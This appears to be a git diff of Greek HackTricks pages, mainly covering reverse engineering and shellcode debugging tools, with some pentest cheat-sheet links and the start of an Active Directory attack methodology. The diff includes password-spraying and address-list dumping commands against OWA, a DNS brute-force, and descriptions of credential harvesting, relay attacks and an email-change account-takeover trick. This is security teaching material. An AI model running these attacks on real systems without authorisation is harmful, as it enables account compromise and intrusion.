Στη συνέχεια, για να ξεκινήσετε την αποσφαλμάτωση, θα πρέπει να κλείσετε όλα τα ανοιχτά αρχεία και μέσα στην **Κατηγορία Αποσφαλμάτωσης** να επιλέξετε **Σύνδεση σε Διαδικασία...**: Στη συνέχεια, για να ξεκινήσετε την αποσφαλμάτωση, θα πρέπει να κλείσετε όλα τα ανοιχτά αρχεία και μέσα στην **Κατηγορία Αποσφαλμάτωσης** να επιλέξετε **Σύνδεση με Διαδικασία...**:
![](<../../images/image (318).png>) ![](<../../images/image (318).png>)
Στη συνέχεια, επιλέξτε **w3wp.exe** για να συνδεθείτε στον **διακομιστή IIS** και κάντε κλικ στο **σύνδεση**: Στη συνέχεια, επιλέξτε **w3wp.exe** για να συνδεθείτε με τον **διακομιστή IIS** και κάντε κλικ στο **σύνδεση**:
![](<../../images/image (113).png>) ![](<../../images/image (113).png>)
@ -102,7 +102,7 @@ iisreset /noforce
![](<../../images/image (922).png>) ![](<../../images/image (922).png>)
Κάντε δεξί κλικ σε οποιοδήποτε module στο **Assembly Explorer** και κάντε κλικ στο **Ταξινόμηση Assemblies**: Κάντε δεξί κλικ σε οποιοδήποτε module στο **Assembly Explorer** και κάντε κλικ στο **Ταξινόμηση Συγκροτημάτων**:
![](<../../images/image (339).png>) ![](<../../images/image (339).png>)
@ -116,7 +116,7 @@ iisreset /noforce
### Χρησιμοποιώντας IDA ### Χρησιμοποιώντας IDA
- **Φορτώστε το rundll32** (64bit στο C:\Windows\System32\rundll32.exe και 32bit στο C:\Windows\SysWOW64\rundll32.exe) - **Φορτώστε το rundll32** (64bit στο C:\Windows\System32\rundll32.exe και 32bit στο C:\Windows\SysWOW64\rundll32.exe)
- Επιλέξτε τον αποσφαλματωτή **Windbg** - Επιλέξτε **Windbg** debugger
- Επιλέξτε "**Αναστολή κατά τη φόρτωση/εκφόρτωση βιβλιοθήκης**" - Επιλέξτε "**Αναστολή κατά τη φόρτωση/εκφόρτωση βιβλιοθήκης**"
![](<../../images/image (868).png>) ![](<../../images/image (868).png>)
@ -134,7 +134,7 @@ iisreset /noforce
- **Φορτώστε το rundll32** (64bit στο C:\Windows\System32\rundll32.exe και 32bit στο C:\Windows\SysWOW64\rundll32.exe) - **Φορτώστε το rundll32** (64bit στο C:\Windows\System32\rundll32.exe και 32bit στο C:\Windows\SysWOW64\rundll32.exe)
- **Αλλάξτε τη Γραμμή Εντολών** (_Αρχείο --> Αλλαγή Γραμμής Εντολών_) και ορίστε το μονοπάτι της dll και τη συνάρτηση που θέλετε να καλέσετε, για παράδειγμα: "C:\Windows\SysWOW64\rundll32.exe" "Z:\shared\Cybercamp\rev2\\\14.ridii_2.dll",DLLMain - **Αλλάξτε τη Γραμμή Εντολών** (_Αρχείο --> Αλλαγή Γραμμής Εντολών_) και ορίστε το μονοπάτι της dll και τη συνάρτηση που θέλετε να καλέσετε, για παράδειγμα: "C:\Windows\SysWOW64\rundll32.exe" "Z:\shared\Cybercamp\rev2\\\14.ridii_2.dll",DLLMain
- Αλλάξτε _Επιλογές --> Ρυθμίσεις_ και επιλέξτε "**Είσοδος DLL**". - Αλλάξτε _Επιλογές --> Ρυθμίσεις_ και επιλέξτε "**Είσοδος DLL**".
- Στη συνέχεια **ξεκινήστε την εκτέλεση**, ο αποσφαλματωτής θα σταματήσει σε κάθε κύρια dll, σε κάποιο σημείο θα **σταματήσετε στην είσοδο της dll σας**. Από εκεί, απλώς αναζητήστε τα σημεία όπου θέλετε να βάλετε ένα σημείο διακοπής. - Στη συνέχεια, **ξεκινήστε την εκτέλεση**, ο debugger θα σταματήσει σε κάθε κύρια dll, σε κάποιο σημείο θα **σταματήσετε στην είσοδο της dll σας**. Από εκεί, απλώς αναζητήστε τα σημεία όπου θέλετε να βάλετε ένα breakpoint.
Σημειώστε ότι όταν η εκτέλεση σταματήσει για οποιονδήποτε λόγο στο win64dbg μπορείτε να δείτε **σε ποιον κώδικα βρίσκεστε** κοιτάζοντας **στην κορυφή του παραθύρου win64dbg**: Σημειώστε ότι όταν η εκτέλεση σταματήσει για οποιονδήποτε λόγο στο win64dbg μπορείτε να δείτε **σε ποιον κώδικα βρίσκεστε** κοιτάζοντας **στην κορυφή του παραθύρου win64dbg**:
@ -156,17 +156,19 @@ cheat-engine.md
## ARM & MIPS ## ARM & MIPS
{% embed url="https://github.com/nongiach/arm_now" %} {{#ref}}
https://github.com/nongiach/arm_now
{{#endref}}
## Shellcodes ## Shellcodes
### Αποσφαλμάτωση ενός shellcode με το blobrunner ### Αποσφαλμάτωση ενός shellcode με το blobrunner
[**Blobrunner**](https://github.com/OALabs/BlobRunner) θα **κατανείμει** το **shellcode** μέσα σε έναν χώρο μνήμης, θα **υποδείξει** τη **διεύθυνση μνήμης** όπου το shellcode κατανέμεται και θα **σταματήσει** την εκτέλεση.\ [**Blobrunner**](https://github.com/OALabs/BlobRunner) θα **κατανείμει** το **shellcode** μέσα σε έναν χώρο μνήμης, θα **υποδείξει** τη **διεύθυνση μνήμης** όπου το shellcode κατανέμεται και θα **σταματήσει** την εκτέλεση.\
Στη συνέχεια, θα χρειαστεί να **συνδέσετε έναν αποσφαλματωτή** (Ida ή x64dbg) στη διαδικασία και να βάλετε ένα **σημείο διακοπής στη διεύθυνση μνήμης που υποδείχθηκε** και να **συνεχίσετε** την εκτέλεση. Με αυτόν τον τρόπο θα αποσφαλματώνετε το shellcode. Στη συνέχεια, θα χρειαστεί να **συνδέσετε έναν debugger** (Ida ή x64dbg) στη διαδικασία και να βάλετε ένα **breakpoint στη διεύθυνση μνήμης που υποδείχθηκε** και να **συνεχίσετε** την εκτέλεση. Με αυτόν τον τρόπο θα αποσφαλματώνετε το shellcode.
Η σελίδα κυκλοφορίας στο github περιέχει zip που περιέχουν τις εκτελέσιμες κυκλοφορίες: [https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5](https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5)\ Η σελίδα κυκλοφορίας στο github περιέχει zip με τις εκδόσεις που έχουν μεταγλωττιστεί: [https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5](https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5)\
Μπορείτε να βρείτε μια ελαφρώς τροποποιημένη έκδοση του Blobrunner στον παρακάτω σύνδεσμο. Για να το συντάξετε, απλώς **δημιουργήστε ένα έργο C/C++ στο Visual Studio Code, αντιγράψτε και επικολλήστε τον κώδικα και κατασκευάστε το**. Μπορείτε να βρείτε μια ελαφρώς τροποποιημένη έκδοση του Blobrunner στον παρακάτω σύνδεσμο. Για να το μεταγλωττίσετε, απλώς **δημιουργήστε ένα έργο C/C++ στο Visual Studio Code, αντιγράψτε και επικολλήστε τον κώδικα και κάντε build**.
{{#ref}} {{#ref}}
blobrunner.md blobrunner.md
@ -174,11 +176,11 @@ blobrunner.md
### Αποσφαλμάτωση ενός shellcode με το jmp2it ### Αποσφαλμάτωση ενός shellcode με το jmp2it
[**jmp2it** ](https://github.com/adamkramer/jmp2it/releases/tag/v1.4)είναι πολύ παρόμοιο με το blobrunner. Θα **κατανείμει** το **shellcode** μέσα σε έναν χώρο μνήμης και θα ξεκινήσει έναν **αιώνιο βρόχο**. Στη συνέχεια, θα χρειαστεί να **συνδέσετε τον αποσφαλματωτή** στη διαδικασία, **πατήστε έναρξη, περιμένετε 2-5 δευτερόλεπτα και πατήστε διακοπή** και θα βρεθείτε μέσα στον **αιώνιο βρόχο**. Πηδήξτε στην επόμενη εντολή του αιώνιου βρόχου καθώς θα είναι μια κλήση στο shellcode, και τελικά θα βρεθείτε να εκτελείτε το shellcode. [**jmp2it** ](https://github.com/adamkramer/jmp2it/releases/tag/v1.4)είναι πολύ παρόμοιο με το blobrunner. Θα **κατανείμει** το **shellcode** μέσα σε έναν χώρο μνήμης και θα ξεκινήσει έναν **αιώνιο βρόχο**. Στη συνέχεια, θα χρειαστεί να **συνδέσετε τον debugger** στη διαδικασία, **πατήστε start, περιμένετε 2-5 δευτερόλεπτα και πατήστε stop** και θα βρεθείτε μέσα στον **αιώνιο βρόχο**. Μεταβείτε στην επόμενη εντολή του αιώνιου βρόχου καθώς θα είναι μια κλήση στο shellcode, και τελικά θα βρεθείτε να εκτελείτε το shellcode.
![](<../../images/image (509).png>) ![](<../../images/image (509).png>)
Μπορείτε να κατεβάσετε μια εκτελέσιμη έκδοση του [jmp2it στη σελίδα κυκλοφορίας](https://github.com/adamkramer/jmp2it/releases/). Μπορείτε να κατεβάσετε μια μεταγλωττισμένη έκδοση του [jmp2it στη σελίδα κυκλοφορίας](https://github.com/adamkramer/jmp2it/releases/).
### Αποσφαλμάτωση shellcode χρησιμοποιώντας το Cutter ### Αποσφαλμάτωση shellcode χρησιμοποιώντας το Cutter
@ -200,7 +202,7 @@ blobrunner.md
### Αποκατάσταση shellcode και λήψη εκτελούμενων συναρτήσεων ### Αποκατάσταση shellcode και λήψη εκτελούμενων συναρτήσεων
Πρέπει να δοκιμάσετε το [**scdbg**](http://sandsprite.com/blogs/index.php?uid=7&pid=152).\ Θα πρέπει να δοκιμάσετε το [**scdbg**](http://sandsprite.com/blogs/index.php?uid=7&pid=152).\
Θα σας πει πράγματα όπως **ποιες συναρτήσεις** χρησιμοποιεί το shellcode και αν το shellcode **αποκωδικοποιεί** τον εαυτό του στη μνήμη. Θα σας πει πράγματα όπως **ποιες συναρτήσεις** χρησιμοποιεί το shellcode και αν το shellcode **αποκωδικοποιεί** τον εαυτό του στη μνήμη.
```bash ```bash
scdbg.exe -f shellcode # Get info scdbg.exe -f shellcode # Get info
@ -210,11 +212,11 @@ scdbg.exe -f shellcode -d #Dump decoded shellcode
scdbg.exe -f shellcode /findsc #Find offset where starts scdbg.exe -f shellcode /findsc #Find offset where starts
scdbg.exe -f shellcode /foff 0x0000004D #Start the executing in that offset scdbg.exe -f shellcode /foff 0x0000004D #Start the executing in that offset
``` ```
scDbg διαθέτει επίσης έναν γραφικό εκκινητή όπου μπορείτε να επιλέξετε τις επιλογές που θέλετε και να εκτελέσετε τον shellcode scDbg διαθέτει επίσης έναν γραφικό εκκινητή όπου μπορείτε να επιλέξετε τις επιλογές που θέλετε και να εκτελέσετε το shellcode
![](<../../images/image (258).png>) ![](<../../images/image (258).png>)
Η επιλογή **Create Dump** θα αποθηκεύσει τον τελικό shellcode αν γίνει οποιαδήποτε αλλαγή στον shellcode δυναμικά στη μνήμη (χρήσιμο για να κατεβάσετε τον αποκωδικοποιημένο shellcode). Η **start offset** μπορεί να είναι χρήσιμη για να ξεκινήσει ο shellcode σε μια συγκεκριμένη θέση. Η επιλογή **Debug Shell** είναι χρήσιμη για να κάνετε αποσφαλμάτωση του shellcode χρησιμοποιώντας το τερματικό scDbg (ωστόσο, θεωρώ ότι οποιαδήποτε από τις επιλογές που εξηγήθηκαν προηγουμένως είναι καλύτερη για αυτό το θέμα καθώς θα μπορείτε να χρησιμοποιήσετε το Ida ή το x64dbg). Η επιλογή **Create Dump** θα αποθηκεύσει το τελικό shellcode αν γίνει οποιαδήποτε αλλαγή στο shellcode δυναμικά στη μνήμη (χρήσιμο για να κατεβάσετε το αποκωδικοποιημένο shellcode). Η **start offset** μπορεί να είναι χρήσιμη για να ξεκινήσετε το shellcode σε μια συγκεκριμένη θέση. Η επιλογή **Debug Shell** είναι χρήσιμη για να κάνετε αποσφαλμάτωση του shellcode χρησιμοποιώντας το τερματικό scDbg (ωστόσο, θεωρώ ότι οποιαδήποτε από τις επιλογές που εξηγήθηκαν προηγουμένως είναι καλύτερη για αυτό το θέμα καθώς θα μπορείτε να χρησιμοποιήσετε το Ida ή το x64dbg).
### Disassembling using CyberChef ### Disassembling using CyberChef
@ -227,7 +229,7 @@ scDbg διαθέτει επίσης έναν γραφικό εκκινητή ό
- [https://www.youtube.com/watch?v=2VF_wPkiBJY](https://www.youtube.com/watch?v=2VF_wPkiBJY) - [https://www.youtube.com/watch?v=2VF_wPkiBJY](https://www.youtube.com/watch?v=2VF_wPkiBJY)
- [https://github.com/xoreaxeaxeax/movfuscator/blob/master/slides/domas_2015_the_movfuscator.pdf](https://github.com/xoreaxeaxeax/movfuscator/blob/master/slides/domas_2015_the_movfuscator.pdf) - [https://github.com/xoreaxeaxeax/movfuscator/blob/master/slides/domas_2015_the_movfuscator.pdf](https://github.com/xoreaxeaxeax/movfuscator/blob/master/slides/domas_2015_the_movfuscator.pdf)
Αν έχετε τύχη, ο [demovfuscator](https://github.com/kirschju/demovfuscator) θα αποκαλύψει τον δυαδικό κώδικα. Έχει αρκετές εξαρτήσεις Αν έχετε τύχη, ο [demovfuscator](https://github.com/kirschju/demovfuscator) θα αποκαταστήσει την ορατότητα του δυαδικού. Έχει αρκετές εξαρτήσεις
``` ```
apt-get install libcapstone-dev apt-get install libcapstone-dev
apt-get install libz3-dev apt-get install libz3-dev
@ -267,7 +269,7 @@ apt-get install libz3-dev
## Compiled Python ## Compiled Python
Σε αυτή τη σελίδα μπορείτε να βρείτε πώς να αποκτήσετε τον κώδικα python από ένα ELF/EXE δυαδικό αρχείο python: Σε αυτή τη σελίδα μπορείτε να βρείτε πώς να αποκτήσετε τον κώδικα python από ένα δυαδικό αρχείο python που έχει μεταγλωττιστεί σε ELF/EXE:
{{#ref}} {{#ref}}
../../generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md ../../generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md
@ -275,7 +277,7 @@ apt-get install libz3-dev
## GBA - Game Body Advance ## GBA - Game Body Advance
Αν αποκτήσετε το **δυαδικό** ενός παιχνιδιού GBA, μπορείτε να χρησιμοποιήσετε διάφορα εργαλεία για να **εξομοιώσετε** και να **αποσφαλματώσετε** το παιχνίδι: Αν αποκτήσετε το **δυαδικό** ενός παιχνιδιού GBA, μπορείτε να χρησιμοποιήσετε διάφορα εργαλεία για να **εξομοιώσετε** και να **αποσφαλματώσετε** αυτό:
- [**no$gba**](https://problemkaputt.de/gba.htm) (_Κατεβάστε την έκδοση αποσφαλμάτωσης_) - Περιέχει έναν αποσφαλματωτή με διεπαφή - [**no$gba**](https://problemkaputt.de/gba.htm) (_Κατεβάστε την έκδοση αποσφαλμάτωσης_) - Περιέχει έναν αποσφαλματωτή με διεπαφή
- [**mgba** ](https://mgba.io)- Περιέχει έναν CLI αποσφαλματωτή - [**mgba** ](https://mgba.io)- Περιέχει έναν CLI αποσφαλματωτή
@ -338,7 +340,7 @@ uVar2 = DAT_030004dc;
uVar1 = *puVar6; uVar1 = *puVar6;
if ((uVar1 & DAT_030004da & ~uVar4) != 0) { if ((uVar1 & DAT_030004da & ~uVar4) != 0) {
``` ```
Η τελευταία συνθήκη ελέγχει αν το **`uVar4`** είναι στα **τελευταία Κλειδιά** και δεν είναι το τρέχον κλειδί, που ονομάζεται επίσης απελευθέρωση ενός κουμπιού (το τρέχον κλειδί αποθηκεύεται στο **`uVar1`**). Η τελευταία συνθήκη ελέγχει αν **`uVar4`** είναι στα **τελευταία Κλειδιά** και όχι το τρέχον κλειδί, που ονομάζεται επίσης απελευθέρωση ενός κουμπιού (το τρέχον κλειδί αποθηκεύεται στο **`uVar1`**).
```c ```c
if (uVar1 == 4) { if (uVar1 == 4) {
DAT_030000d4 = 0; DAT_030000d4 = 0;
@ -380,11 +382,13 @@ DAT_030000d8 = DAT_030000d8 + 0x3a;
## Game Boy ## Game Boy
{% embed url="https://www.youtube.com/watch?v=VVbRe7wr3G4" %} {{#ref}}
https://www.youtube.com/watch?v=VVbRe7wr3G4
{{#endref}}
## Courses ## Courses
- [https://github.com/0xZ0F/Z0FCourse_ReverseEngineering](https://github.com/0xZ0F/Z0FCourse_ReverseEngineering) - [https://github.com/0xZ0F/Z0FCourse_ReverseEngineering](https://github.com/0xZ0F/Z0FCourse_ReverseEngineering)
- [https://github.com/malrev/ABD](https://github.com/malrev/ABD) (Αποκωδικοποίηση δυαδικών) - [https://github.com/malrev/ABD](https://github.com/malrev/ABD) (Binary deobfuscation)
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

4
src/robots.txt Normal file
View File

@ -0,0 +1,4 @@
Sitemap: https://www.hacktricks.wiki/sitemap.xml
User-agent: *
Disallow:

View File

@ -48,7 +48,9 @@ Take it to the top
Whisper my world Whisper my world
``` ```
{% embed url="https://codewithrockstar.com/" %} {{#ref}}
https://codewithrockstar.com/
{{#endref}}
## PETOOH ## PETOOH
``` ```

View File

@ -3,14 +3,16 @@
# Βασικά Payloads # Βασικά Payloads
- **Απλή Λίστα:** Απλώς μια λίστα που περιέχει μια καταχώρηση σε κάθε γραμμή - **Απλή Λίστα:** Απλώς μια λίστα που περιέχει μια καταχώρηση σε κάθε γραμμή
- **Αρχείο Εκτέλεσης:** Μια λίστα που διαβάζεται κατά την εκτέλεση (δεν φορτώνεται στη μνήμη). Για υποστήριξη μεγάλων λιστών. - **Αρχείο Εκτέλεσης:** Μια λίστα που διαβάζεται κατά την εκτέλεση (όχι φορτωμένη στη μνήμη). Για υποστήριξη μεγάλων λιστών.
- **Τροποποίηση Περίπτωσης:** Εφαρμόστε κάποιες αλλαγές σε μια λίστα από συμβολοσειρές (Καμία αλλαγή, σε μικρά, σε ΜΕΓΑΛΑ, σε Κανονικό όνομα - Πρώτο κεφαλαίο και τα υπόλοιπα σε μικρά-, σε Κανονικό Όνομα - Πρώτο κεφαλαίο και τα υπόλοιπα παραμένουν τα ίδια-). - **Τροποποίηση Περίπτωσης:** Εφαρμόστε κάποιες αλλαγές σε μια λίστα από συμβολοσειρές (Καμία αλλαγή, σε μικρά, σε ΜΕΓΑΛΑ, σε Κανονικό όνομα - Πρώτο κεφαλαίο και τα υπόλοιπα σε μικρά-, σε Κανονικό Όνομα - Πρώτο κεφαλαίο και τα υπόλοιπα παραμένουν τα ίδια-).
- **Αριθμοί:** Δημιουργία αριθμών από X έως Y χρησιμοποιώντας βήμα Z ή τυχαία. - **Αριθμοί:** Δημιουργία αριθμών από X έως Y χρησιμοποιώντας βήμα Z ή τυχαία.
- **Brute Forcer:** Σετ χαρακτήρων, ελάχιστο & μέγιστο μήκος. - **Brute Forcer:** Σετ χαρακτήρων, ελάχιστο & μέγιστο μήκος.
[https://github.com/0xC01DF00D/Collabfiltrator](https://github.com/0xC01DF00D/Collabfiltrator) : Payload για την εκτέλεση εντολών και την απόκτηση της εξόδου μέσω DNS αιτημάτων προς το burpcollab. [https://github.com/0xC01DF00D/Collabfiltrator](https://github.com/0xC01DF00D/Collabfiltrator) : Payload για την εκτέλεση εντολών και την απόκτηση της εξόδου μέσω DNS αιτημάτων προς το burpcollab.
{% embed url="https://medium.com/@ArtsSEC/burp-suite-exporter-462531be24e" %} {{#ref}}
https://medium.com/@ArtsSEC/burp-suite-exporter-462531be24e
{{#endref}}
[https://github.com/h3xstream/http-script-generator](https://github.com/h3xstream/http-script-generator) [https://github.com/h3xstream/http-script-generator](https://github.com/h3xstream/http-script-generator)

View File

@ -22,9 +22,11 @@
Εγγραφείτε σε ένα email, πριν το επιβεβαιώσετε αλλάξτε το email, στη συνέχεια, αν το νέο email επιβεβαίωσης σταλεί στο πρώτο εγγεγραμμένο email, μπορείτε να καταλάβετε οποιοδήποτε email. Ή αν μπορείτε να ενεργοποιήσετε το δεύτερο email επιβεβαιώνοντας το πρώτο, μπορείτε επίσης να καταλάβετε οποιονδήποτε λογαριασμό. Εγγραφείτε σε ένα email, πριν το επιβεβαιώσετε αλλάξτε το email, στη συνέχεια, αν το νέο email επιβεβαίωσης σταλεί στο πρώτο εγγεγραμμένο email, μπορείτε να καταλάβετε οποιοδήποτε email. Ή αν μπορείτε να ενεργοποιήσετε το δεύτερο email επιβεβαιώνοντας το πρώτο, μπορείτε επίσης να καταλάβετε οποιονδήποτε λογαριασμό.
### Πρόσβαση στο Εσωτερικό servicedesk εταιρειών χρησιμοποιώντας atlassian ### Πρόσβαση στο Εσωτερικό servicedesk εταιρειών που χρησιμοποιούν atlassian
{% embed url="https://yourcompanyname.atlassian.net/servicedesk/customer/user/login" %} {{#ref}}
https://yourcompanyname.atlassian.net/servicedesk/customer/user/login
{{#endref}}
### Μέθοδος TRACE ### Μέθοδος TRACE

View File

@ -1,49 +1,95 @@
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}
{% embed url="https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/#python-tty-shell-trick" %} {{#ref}}
https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/#python-tty-shell-trick
{{#endref}}
{% embed url="https://hausec.com/pentesting-cheatsheet/#_Toc475368982" %} {{#ref}}
https://hausec.com/pentesting-cheatsheet/#_Toc475368982
{{#endref}}
{% embed url="https://anhtai.me/pentesting-cheatsheet/" %} {{#ref}}
https://anhtai.me/pentesting-cheatsheet/
{{#endref}}
{% embed url="https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html" %} {{#ref}}
https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html
{{#endref}}
{% embed url="https://ired.team/offensive-security-experiments/offensive-security-cheetsheets" %} {{#ref}}
https://ired.team/offensive-security-experiments/offensive-security-cheetsheets
{{#endref}}
{% embed url="https://chryzsh.gitbooks.io/pentestbook/basics_of_windows.html" %} {{#ref}}
https://chryzsh.gitbooks.io/pentestbook/basics_of_windows.html
{{#endref}}
{% embed url="https://github.com/wwong99/pentest-notes/blob/master/oscp_resources/OSCP-Survival-Guide.md" %} {{#ref}}
https://github.com/wwong99/pentest-notes/blob/master/oscp_resources/OSCP-Survival-Guide.md
{{#endref}}
{% embed url="https://anhtai.me/oscp-fun-guide/" %} {{#ref}}
https://anhtai.me/oscp-fun-guide/
{{#endref}}
{% embed url="https://www.thehacker.recipes/" %} {{#ref}}
https://www.thehacker.recipes/
{{#endref}}
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings" %} {{#ref}}
https://github.com/swisskyrepo/PayloadsAllTheThings
{{#endref}}
{% embed url="https://gtfobins.github.io/" %} {{#ref}}
https://gtfobins.github.io/
{{#endref}}
{% embed url="https://github.com/RistBS/Awesome-RedTeam-Cheatsheet" %} {{#ref}}
https://github.com/RistBS/Awesome-RedTeam-Cheatsheet
{{#endref}}
{% embed url="https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet" %} {{#ref}}
https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet
{{#endref}}
{% embed url="https://hideandsec.sh/" %} {{#ref}}
https://hideandsec.sh/
{{#endref}}
{% embed url="https://cheatsheet.haax.fr/" %} {{#ref}}
https://cheatsheet.haax.fr/
{{#endref}}
{% embed url="https://infosecwriteups.com/" %} {{#ref}}
https://infosecwriteups.com/
{{#endref}}
{% embed url="https://www.exploit-db.com/" %} {{#ref}}
https://www.exploit-db.com/
{{#endref}}
{% embed url="https://wadcoms.github.io/" %} {{#ref}}
https://wadcoms.github.io/
{{#endref}}
{% embed url="https://lolbas-project.github.io" %} {{#ref}}
https://lolbas-project.github.io
{{#endref}}
{% embed url="https://pentestbook.six2dez.com/" %} {{#ref}}
https://pentestbook.six2dez.com/
{{#endref}}
{% embed url="https://www.hackingarticles.in/" %} {{#ref}}
https://www.hackingarticles.in/
{{#endref}}
{% embed url="https://pentestlab.blog/" %} {{#ref}}
https://pentestlab.blog/
{{#endref}}
{% embed url="https://ippsec.rocks/" %} {{#ref}}
https://ippsec.rocks/
{{#endref}}
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}

View File

@ -34,7 +34,7 @@
## Cheat Sheet ## Cheat Sheet
Μπορείτε να επισκεφθείτε το [https://wadcoms.github.io/](https://wadcoms.github.io) για μια γρήγορη επισκόπηση των εντολών που μπορείτε να εκτελέσετε για να καταγράψετε/εκμεταλλευτείτε ένα AD. Μπορείτε να επισκεφθείτε [https://wadcoms.github.io/](https://wadcoms.github.io) για μια γρήγορη επισκόπηση των εντολών που μπορείτε να εκτελέσετε για να καταγράψετε/εκμεταλλευτείτε ένα AD.
## Recon Active Directory (No creds/sessions) ## Recon Active Directory (No creds/sessions)
@ -42,7 +42,7 @@
- **Pentest το δίκτυο:** - **Pentest το δίκτυο:**
- Σαρώστε το δίκτυο, βρείτε μηχανές και ανοιχτές θύρες και προσπαθήστε να **εκμεταλλευτείτε ευπάθειες** ή **εξάγετε διαπιστευτήρια** από αυτές (για παράδειγμα, [οι εκτυπωτές θα μπορούσαν να είναι πολύ ενδιαφέροντες στόχοι](ad-information-in-printers.md)). - Σαρώστε το δίκτυο, βρείτε μηχανές και ανοιχτές θύρες και προσπαθήστε να **εκμεταλλευτείτε ευπάθειες** ή **εξάγετε διαπιστευτήρια** από αυτές (για παράδειγμα, [οι εκτυπωτές θα μπορούσαν να είναι πολύ ενδιαφέροντες στόχοι](ad-information-in-printers.md)).
- Η καταγραφή DNS θα μπορούσε να δώσει πληροφορίες σχετικά με βασικούς διακομιστές στο τομέα όπως ιστότοπους, εκτυπωτές, κοινές χρήσεις, vpn, μέσα κ.λπ. - Η καταγραφή DNS θα μπορούσε να δώσει πληροφορίες σχετικά με βασικούς διακομιστές στο τομέα όπως ιστότοποι, εκτυπωτές, κοινές χρήσεις, vpn, μέσα κ.λπ.
- `gobuster dns -d domain.local -t 25 -w /opt/Seclist/Discovery/DNS/subdomain-top2000.txt` - `gobuster dns -d domain.local -t 25 -w /opt/Seclist/Discovery/DNS/subdomain-top2000.txt`
- Ρίξτε μια ματιά στη Γενική [**Μεθοδολογία Pentesting**](../../generic-methodologies-and-resources/pentesting-methodology.md) για περισσότερες πληροφορίες σχετικά με το πώς να το κάνετε αυτό. - Ρίξτε μια ματιά στη Γενική [**Μεθοδολογία Pentesting**](../../generic-methodologies-and-resources/pentesting-methodology.md) για περισσότερες πληροφορίες σχετικά με το πώς να το κάνετε αυτό.
- **Ελέγξτε για null και Guest πρόσβαση σε υπηρεσίες smb** (αυτό δεν θα λειτουργήσει σε σύγχρονες εκδόσεις Windows): - **Ελέγξτε για null και Guest πρόσβαση σε υπηρεσίες smb** (αυτό δεν θα λειτουργήσει σε σύγχρονες εκδόσεις Windows):
@ -64,8 +64,8 @@
{{#endref}} {{#endref}}
- **Δηλητηριάστε το δίκτυο** - **Δηλητηριάστε το δίκτυο**
- Συγκεντρώστε διαπιστευτήρια [**μιμούμενοι υπηρεσίες με Responder**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) - Συγκεντρώστε διαπιστευτήρια [**υποδυόμενοι υπηρεσίες με Responder**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
- Πρόσβαση σε υπολογιστή μέσω [**κατάχρησης της επίθεσης relay**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) - Πρόσβαση σε υπολογιστή [**καταχρώντας την επίθεση relay**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)
- Συγκεντρώστε διαπιστευτήρια **εκθέτοντας** [**ψεύτικες υπηρεσίες UPnP με evil-S**](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856) - Συγκεντρώστε διαπιστευτήρια **εκθέτοντας** [**ψεύτικες υπηρεσίες UPnP με evil-S**](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856)
- [**OSINT**](https://book.hacktricks.xyz/external-recon-methodology): - [**OSINT**](https://book.hacktricks.xyz/external-recon-methodology):
- Εξάγετε ονόματα χρηστών/ονόματα από εσωτερικά έγγραφα, κοινωνικά δίκτυα, υπηρεσίες (κυρίως ιστότοπους) εντός των περιβαλλόντων τομέα και επίσης από δημόσια διαθέσιμα. - Εξάγετε ονόματα χρηστών/ονόματα από εσωτερικά έγγραφα, κοινωνικά δίκτυα, υπηρεσίες (κυρίως ιστότοπους) εντός των περιβαλλόντων τομέα και επίσης από δημόσια διαθέσιμα.
@ -103,7 +103,7 @@ Invoke-PasswordSprayOWA -ExchHostname [ip] -UserList .\valid.txt -Password Summe
Get-GlobalAddressList -ExchHostname [ip] -UserName [domain]\[username] -Password Summer2021 -OutFile gal.txt Get-GlobalAddressList -ExchHostname [ip] -UserName [domain]\[username] -Password Summer2021 -OutFile gal.txt
``` ```
> [!WARNING] > [!WARNING]
> Μπορείτε να βρείτε λίστες χρηστών σε [**αυτό το github repo**](https://github.com/danielmiessler/SecLists/tree/master/Usernames/Names) \*\*\*\* και σε αυτό ([**statistically-likely-usernames**](https://github.com/insidetrust/statistically-likely-usernames)). > Μπορείτε να βρείτε λίστες χρηστών στο [**αυτό το github repo**](https://github.com/danielmiessler/SecLists/tree/master/Usernames/Names) \*\*\*\* και σε αυτό ([**statistically-likely-usernames**](https://github.com/insidetrust/statistically-likely-usernames)).
> >
